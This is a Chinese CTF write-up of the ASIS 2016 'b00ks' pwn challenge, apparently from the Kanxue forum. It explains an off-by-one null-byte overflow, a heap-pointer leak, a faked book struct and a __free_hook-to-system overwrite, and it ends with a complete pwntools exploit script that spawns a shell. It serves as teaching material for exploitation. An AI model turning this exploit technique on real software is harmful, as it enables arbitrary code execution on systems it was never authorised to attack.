Asis 2016 b00ks (off by one利用)
记pwn萌新解题的辛酸历程,写的尽量详细,让和我一样的小菜鸡都能看的明白清楚。
参考前辈的文章,写的非常清楚明白:https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/
https://bbs.pediy.com/thread-225611.htm
https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/
https://bbs.pediy.com/thread-225611.htm
首先用checksec查看一下b00ks文件的保护,发现开启了PIE和Full RELRO。
为了调试方便,暂时关闭系统的地址随机化功能
echo 0 > /proc/sys/kernel/randomize_va_space
然后用ida打开分析程序的具体功能。
b00ks是常见的图书管理系统,功能如下:
off_by_one的漏洞位于如下函数:
当输入author name的时候,如果输入的字符串长度为32时,则会溢出一个字节‘\00’。实际向内存中写入了33个字符。
分析create函数中如下代码:
可知book_struct的结构如下:
struct book_struct
{
int id;
void * book_name;
void *book_description;
int description_size;
}
大小为32个字节。
并且book_struct同意存放在一个静态的数组中,管理global_struct_array。author存放的地址也是一个静态的地址。
可知offset_book_strcut - offset_author_name = 0x20,恰好和之前分析的author_name输入时的off_by_one漏洞所需的字符串长度吻合。
因此,我们可以知道当author_name的长度为32B时,结束符‘/00’会溢出到global_struct_array的第一个数组元素当中去,然后如果我们create一个book之后,'\00'结束符会被覆盖掉,因此打印author_name的时候可以将global_struct_array的第一个元素泄露出来,即泄露出addr_book1。壹伴,简单好用的公众号效率工具。
调试程序看一下具体效果,因为我们不知道程序加载的基址,所以调试的时候下断点不方便,因此通过如下办法获取程序加载的基址(因为我们调试的时候为了方便已经禁用了PIE,所以多次加载程序的基址不变):
首先gdb b00ks,然后r运行程序:
首先gdb b00ks,然后r运行程序:
程序启动之后,通过 cat /proc/pid/maps获取程序的内存信息,可知程序加载的基址为0x555555554000。因此之后设置断点时 基址+ida地址 = 实际运行的地址。
当输入author_name = 'a'*32后,查看内存信息如下:
x/10xg 0x555555554000+0x202040
溢出的'\00'的位置如下图中标注所示:
在create一个book_struct之后,内存信息如下所示,可以看到author_name的结束符被覆盖,通过打印author_name的信息可以将addr_book1的信息泄露。
再继续create book2,通过查看内存地址信息,可以知道addr_book2-addr_book1=0x30。因此exp的时候,可以通过泄露addr_book1来得到addr_book2的信息。
再运用change_author_name的功能,重新溢出一个字节‘\00'。global_struct_array中第一个元素地址改变,我们可以通过为book1_description申请大一点的空间,来使得被修改后global_struct_array中的第一个元素的地址指向book1_description内的地址。
接着,我们可以在相应的地址重新伪造一个book1_struct。因为有print description以及edit description的功能,所以我们通过伪造book1_struct的description使其指向任意地址,通过打印或者edit来实现任意地址的读写。
change_author_name来实现溢出'\00',可以看到global_struct_array中的第一个元素地址由0x0000555555758160被改为0x0000555555758100,即指向了我们伪造的book1_struct。
我们伪造的struct结构如下:
{
id=1;
book_name = book2_struct_name;( book2_struct+8)
description = book2_struct_name;
description_size = 0xffff
}
通过打印book1_struct的信息,可以在book_name以及book_description项中获取到book_struct_name的地址信息。
因为开启了Full RELRO因此无法利用赋写GOT表来实现劫持程序流,因此我们通过得到libc的基址,利用free_hook或者malloc_hook来劫持程序流。
由于mmap分配区域的地址与libc的基址之间的offset是固定的,所以我们利用这个offset来获取libc的基址。在我们创建book2_struct的时候,对于name以及description申请较大的内存空间,通过mmap区域分配内存。
首先
通过debug vmmap查看libc的基址以及mmap区域的地址:
得到offset = 0x7ffff7fb7010 - 0x7ffff7a0d000
然后 libcbase = book2_name_ptr - offset
获取了libc的基址后 , 得到需要的函数以及参数的地址信息。
free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase
然后通过
payload = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload)
将改写fake_book1中的description的内容,因为description指向的是book2_name,也就是说payload = p64(binsh_addr) + p64(free_hook)将覆盖book2_name以及book2_description。(还可以利用execve("/bin/sh", null, environ) ???)
接着
payload = p64(system)
edit_book(target, 2, payload)
这里是edit book2_description,因为book2_description被覆盖为free_hook()的地址信息,因此此操作时将free_hook指向system。
delete_book(target, 2)
在删除book2时,会首先调用free()释放book2_name_ptr指针指向的地址空间,原本的free(book2_name_ptr)最终变为system(binsh_addr)。
这里特别感谢 :
https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/ 的作者,讲解的十分清楚。
最后上完整的漏洞利用代码:
#!/usr/bin/env python
# -*- coding=utf-8 -*-
from pwn import *
context(log_level='debug', os='linux')
def create_book(target, name_size, book_name, desc_size, book_desc):
target.recv()
target.sendline('1')
target.sendlineafter('Enter book name size: ', str(name_size))
target.sendlineafter('Enter book name (Max 32 chars): ', book_name)
target.sendlineafter('Enter book description size: ', str(desc_size))
target.sendlineafter('Enter book description: ', book_desc)
def delete_book(target, book_id):
target.recv()
target.sendline('2')
target.sendlineafter('Enter the book id you want to delete: ', str(book_id))
def edit_book(target, book_id, book_desc):
target.recv()
target.sendline('3')
target.sendlineafter('Enter the book id you want to edit: ', str(book_id))
target.sendlineafter('Enter new book description: ', book_desc)
def print_book(target):
target.recvuntil('>')
target.sendline('4')
def change_author_name(target, name):
target.recv()
target.sendline('5')
target.sendlineafter('Enter author name: ', name)
def input_author_name(target, name):
target.sendlineafter('Enter author name: ', name)
DEBUG = 1
LOCAL = 1
if LOCAL:
target = process('./b00ks')
else:
target = remote('127.0.0.1', 5678)
libc = ELF('./libc.so.6')
# used for debug
image_base = 0x555555554000
if DEBUG:
pwnlib.gdb.attach(target, 'b *%d\nc\n' % (image_base+0x1245))
input_author_name(target, 'a'*32)
create_book(target, 140 ,'book_1', 140, 'first book created') #description的地址空间要大一些,使得伪造的bokk_struct落在description中。
# leak boo1_struct addr
print_book(target)
target.recvuntil('a'*32)
temp = target.recvuntil('\x0a')
book1_struct_addr = u64(temp[:-1].ljust(8, '\x00'))
#print hex(book1_struct_addr)
book2_struct_addr = book1_struct_addr + 0x30
create_book(target, 0x21000, 'book_2', 0x21000, 'second book create') #0x21000保证mmap分配内存
# fake book1_struct
payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) * 2 + p64(0xffff)
#payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) + p64(0x555555554870) + p64(0xffff)
edit_book(target, 1, payload)
change_author_name(target, 'a'*32)
print 'aaaaaaaaaaaaaaaaaaaaaaaa'
print (book2_struct_addr + 8)
# leak book2_name ptr
print_book(target)
target.recvuntil('Name: ')
temp = target.recvuntil('\x0a')
book2_name_ptr = u64(temp[:-1].ljust(8, '\x00'))
# print hex(book2_name_ptr)
# find in debug: mmap_addr - libcbase
offset = 0x7ffff7fb7010 - 0x7ffff7a0d000
libcbase = book2_name_ptr - offset
print "offset="+ hex(offset)
print "libcbase="+ hex(libcbase)
free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase
print "free_hook = "+ hex(free_hook)
print "system = "+ hex(system)
print "binsh_addr = "+ hex(binsh_addr)
payload = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload)
payload = p64(system)
edit_book(target, 2, payload)
delete_book(target, 2)
target.interactive()
看雪ID: iddm
https://bbs.pediy.com/user-822769.htm
本文由看雪论坛 iddm 原创
转载请注明来自看雪社区
热门技术文章推荐: